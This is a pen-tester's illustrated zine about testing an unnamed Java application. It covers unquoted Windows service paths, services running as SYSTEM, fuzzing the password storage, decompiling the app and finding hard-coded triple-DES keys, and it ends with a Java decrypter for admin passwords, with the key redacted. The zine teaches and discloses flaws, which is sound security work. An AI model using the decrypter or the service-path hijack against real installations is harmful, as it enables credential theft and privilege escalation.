The tale of the dubious crypto

F	Cover	
1	Intro	Hi there! I'm Tess, an InfoSec enthousiast from the Netherlands. I often give short classes about things like PKI, pen-testing and security basics. Blog: https://www.kilala.nl Twitter: @TessSluijter @sailorhg and @b0rk inspired me to try something new: sharing stuff I've learned through zines! So here we are! My very first zine in what (I hope) will become the series "*Things I've Learned*". In "*The tale of the dubious crypto*" I would like to share some cool things I learned during a pen-test, including Java decompiling and understanding other people's code.
2	Intro	Let's set the stage! We were asked to investigate an application which will not be named (CVEs are still pending!). Let's say that it's a feed aggregator, forwarding data streams to other apps. Things we figured out pretty quickly: • The app runs on Windows Server. • It installs multiple Windows services. • It's built as a standalone Java app. • It has at least one admin web interface. • It stores plenty of passwords!

3	Bad services	One of the things to check are Windows services, to see if they're set up securely. Something to look for are unquoted service paths, which you can do using the "Services" management tool. Just go over each service's properties.
		
		This is dreary work, so you're better off using a few Powershell commands (thanks to the SCCMShenanigans blog for the example).
		
		ForEach ($Service in (Get-WmiObject -Class Win32_Service))
		{
		  $ServiceEXEPath = $Service.PathName
		  if ($ServiceEXEPath -eq $null) {continue}
		
		  $IndexOfSpace = $ServiceEXEPath.IndexOf(" ")
		  $IndexOfExe = $ServiceEXEPath.ToLower().IndexOf(".exe")
		  $IndexOfQuote = $ServiceEXEPath.IndexOf("`"")
		
		  if (($IndexOfSpace -ne -1) -AND ($IndexOfSpace -lt $IndexOfExe) -AND ($IndexOfQuote -ne 0)) { Write-Host "WARNING: $Service.Name"}
		}
		
		This told me that the application's services start a wrapper script from C:\Vendor Name\Product Name\Admin\web. It also showed me that there were no quotes surrounding the path to the binary.

4	Bad services	So why is this a bad thing? Let's say that a malicious actor wants to replace the service with a binary of their own. If they can't replace the actual service binary (because they don't have the rights), the can still try to make one of these. C:\Vendor.exe C:\Vendor Name\Product.exe Without the quotes, Windows will gladly accept any part of the path before a space as the name of the target binary. So if I can

make C:\Vendor.exe and restart the service or the computer, then I can make the computer do things that I want! Always enclose service paths in quotes.		
5	SYSTEM user	Another thing I noticed when looking at the service definitions, is that each service runs as the "SYSTEM" user. You can tell, but looking at another field of the win32_service objects, called "*StartName*". You can also see this in the properties view of the "Services" tool, on the "Log On" tab. <drawing> General | Log On | Recovery | Dependencies Log on as: • Local System account ☐Allow service to interact with desktop • This account: [ ] [Browse] Password: [ ] Confirm password: [ ] </drawing> You could say that "SYSTEM" is Windows' equivalent of "root" on Linux: this user account can access anything on the computer. So what's the risk in running services this way?

6	SYSTEM user	It's possible that someone may find a nasty bug in the software. This bug could be a buffer overflow, a file inclusion bug, an RCE (remote code execution) or something else. The bug could let a malicious actor tell the computer to perform specific things outside of the software's normal tasks. And if that software runs as "SYSTEM", all of these unwanted commands would have full access to the target computer! It would have been much better, to let the service run under its own user account, which could only access the application files and resources.
7	App files	Speaking of files and resources, let's take a look! I was very curious about the admin web interface, so I dove into C:\Vendor Name\Product Name\Admin. < drawing > C:\Vendor Name\Product Name\Admin • bin = command line utilities • conf = settings • logs = logging made by the service • web = a site built in Java (JSPs, classes, WARs and more) < /end> I noticed that "logs\wrapper.log" has a running log of activities happening on the admin web interface. In the "conf" directory I found "users.ini". It only had one user account, "admin". [admin] admin,d5KK KqMR uaut gXxb m7j8 SA==

8	App files	The "user.pwd" string looked like it's Base64 encoded, so I decoded it to see what would come out. $ echo "d5KKKqMRuautgXxbm7j8SA==" | base64 -D w??*?????|[???H The result was incomprehensible binary data, so either A) it was not Base64 encoded, or there's some encryption going on here. it could also have been a normal "hash", but it didn't look like any I'd seen before. In the "bin" directory I find "consoleuser.bat" which would allow me to change any password in "users.ini". I could add a new user "tester", but the login screen would only ever use the "admin" user. The reset script however, ran just fine on "tester". C:\%AdminBin%> .\consoleuser.bat -reset tester testing123 Password has been reset successfully!
9	Fuzzing	

The reset tool told me that passwords should only be between 8 and 20 characters long. I confirmed this manually by trying 7 and 21. The tool wasn't lying! Curious to see how the "users.ini" file would store passwords, I wrote a small Powershell script to start trying combinations

```
$ResetCmd = "C:\Vendor Name\Product Name\Admin\bin\consoleuser.bat"
$ConfFIle = "C:\Vendor Name\Product Name\Admin\conf\users.ini"
$TestChars = "a","A","z","Z"

ForEach ($Char in $TestChars)
{
   $Length = 8
   While ($Length -lt 21)
   {
      $Password = ("$Char" * $Length)
      Start-Process -Wait "$ResetCmd" "-reset tester $Password"

      $ConfContent = (Select-String -Pattern "tester" -Path
$ConfFile).Line.Split(",")[1]

      Write-Output ($Password + "," $ConfContent.Substring(0,10) + ","
$ConfContent.Substring(10,1)+ "," $ConfContent.Substring(11,10)+ ","
$ConfContent.Substring(21,1)+ "," $ConfContent.Substring(22))
   }
   $Length += 1
}
```

10	Fuzzing	The outcome showed recurring patterns! It looked like: • Passwords were chopped into blocks of 8, 8 and 4 chars. • Each block was processed separately. • The outcome was a string of 10 + 1 + 10 + 1 + 10 chars. • Specific strings would always result in a specific output. • Entering the same password would always have the same end result. 8 aaaaaaaa UWqD6HSPPX P hVNKZDiaVC A == 9 aaaaaaaa a UWqD6HSPPX P LxjW7Gwyea Q == 10 aaaaaaaa aa UWqD6HSPPX O 4GF4/Pm237 Q == 11 aaaaaaaa aaa UWqD6HSPPX P Fyc9ccb+RP A == ... 16 aaaaaaaa aaaaaaaa UWqD6HSPPX N RaoPodI89c + FU0pkOJpVw 17 aaaaaaaa aaaaaaaa a UWqD6HSPPX N RaoPodI89c 8 vGNbsbDJ5p ... 8 AAAAAAAA sR4EfbbW+D X hVNKZDiaVC A == ... 16 AAAAAAAA AAAAAAAA sR4EfbbW+D X hVNKZDiaVC + FU0pkOJpVw This smells of bad crypto! What's worse, is that I would get the exact same output on a newly installed server of my own! This suggests hard-coded keys!
11	Decompiling	There's only so much I could do "black boxing" the encryption mechanisms; I needed to get a look at the insides of the program. I grabbed a copy of the whole web interface and put it on my Linux workstation, to prod at it with "jd-gui" (https://github.com/java-decompiler). A Java decompiler will take a Java application and turn it inside out, showing you the original source code. It's magic! There's a

wide choice of products available, even ones that work online from your browser. But since we're working on a sensitive application, all analysis needed to happen in-house. Decompilers and disassemblers are available for a wide variety of languages. Wikipedia offers a high level explanation at https://en.wikipedia.org/wiki/Decompiler.		
12	Decompiling	The admin web interface spans a few dozen files, most of which were called "a.class", "b.class" and so on. All manner of useful names had been obscured. To find out where I had to start with my search, I had to make the application crash! I edited "users.ini" and made an invalid password string (simply by deleting one character). When I tried logging in as "admin" my request was denied and a Java stack trace showed up in "logs/wrapper.log". It showed the following classes consecutively calling each other. • Product.server.c.l • Product.admin.utils.g.b • Product.encryption.impl.a.decrypt • Product.encryption.b • Javax.xml.bin.DataTypeConverter.parseBase64Binary

13	Bad crypto	We struck pay dirt! I'm only showing the most interesting parts of the code here. Of course there's also a "decrypt" method, which acts as the exact inverse of "encrypt".
		
		public a(String privateKey, com.vendor.product.encryption.a algorithm)
		{
		  this.gT = privateKey;
		  this.gS = algorithm;
		}
		
		public String encrypt(String message)
		{
		  MessageDigest md = MessageDigest.getInstance("SHA-1");
		  byte[] digetOfPassword = md.digest(this.gT.getBytes("utf-8"));
		  byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
		
		  SecretKey key = new SecretKeySpec(keyBytes, this.gS.getAlgorithm());
		  Cipher cipher = Cipher.getInstance(this.gS.getAlgorithm());
		  cipher.init(1, key);
		
		  byte[] plainTextBytes = message.getBytes("utf-8");
		  byte[] buf = cipher.doFinal(plainTextBytes);
		  return DatatypeConverter.printBase64Binary(buf);
		}
		
		Looking up how Java's encryption methods worked, I figured that gT and gS would pass the encryption key and algorithm. But where were those coming from? Also, the crypto is run without randomization, resulting in identical output each time.

14	Bad crypto	We found the source of the gT / privateKey variable by tracing back through various classes, ending up in classes "product.server.g" and ".c" . There we found:
		
		public static final String[] hD = { "Aacd...F9c4", "E4a8...007D", "Fe9f...Bb6D"}
		...
		c cryptAdmin = new d().aM(com.vendor.product.server.c.hD[0]).aN("triple-DES").aG();
		...
		if (defSection.equals("admin"))
		{
		int ind = s.indexOf(',');
		if (ind > -1) {
		userHT.pub(s.substring(0,ind), cryptAdmin.decrypt(s.substring(ind + 1, s.length())));
		}
		}
		
		To sum things up: when logging in as admin user, the password is checked against "users.ini". The first field after the comma is passed into cryptAdmin, which passes the first value from array hD[] and the triple DES algorithm into Java's crypto libraries.

15	Decrypter	

After finding out how the application had implemented encryption I sought through the code for more "secret keys". In the end I found four of them, for the encryption of passwords for resp. admins, users, roles and data feeds. Now, what could be more fun than to use this knowledge to create an attack tool?

I've never written Java before, aside from a few tiny PoCs during a training, but with the help of my colleague Armen I quickly learned how to! You need the most basic of frameworks in one ".java" file, which you can then compile using "javac".

```
class MyClass
{
   public static void main (String [] arguments)
   {
      System.out.println("Hello World!");
   }
}
```

In writing the decrypter we ran into a few snags, as the target application was written for Java 8 while I was running Java 11. We had to translate a few of the commands, includes and parameters, but got it to work reliably!

Using the script on the next page, we can decrypt any admin password in any installation of this software. Any time, any where. Thanks to the vendor's hard-coded "secrets".

16	Decrypter	import java.security.MessageDigets;
		import java.util.Arrays;
		import javax.crypto.Cipher;
		import javax.crypto.SecretKey;
		import javax.crypto.spec.SecretKeySpec;
		import java.util.Base64;
		
		class Decrypt
		{
		public statis void main (String [] arguments)
		{
		try
		{
		String gT = "Aacd...F9c4"'
		String gS = "DESede";
		String encryptedText = arguments[0];
		
		byte[] message = Base64.getDecoder().decode(encryptedText);
		MessageDigest md = MessageDigest.getInstance("SHA-1");
		byte[] digestOfPassword = md.digest(gT.getBytes("utf-8"));
		byte[] keyBytes = Arrays.copyOf(digestOfPassword, 24);
		SecretKey key = new SecretKeySpec(keyBytes, gS);
		
		Cipher decipher = Cipher.getInstance(gS);
		decipher.init(2, key);
		byte[] plainText = decipher.doFinal(message);
		System.out.println(new String(plaintext, "utf-8"));
		}
		catch (Exception ex)
		{ System.out.println(ex); }
		}
		}

B	Cover	

I hope you enjoyed this zine! You will find my other projects at: https://github.com/tsluyter CC-BY-NC-SA Tess Sluijter, 2019		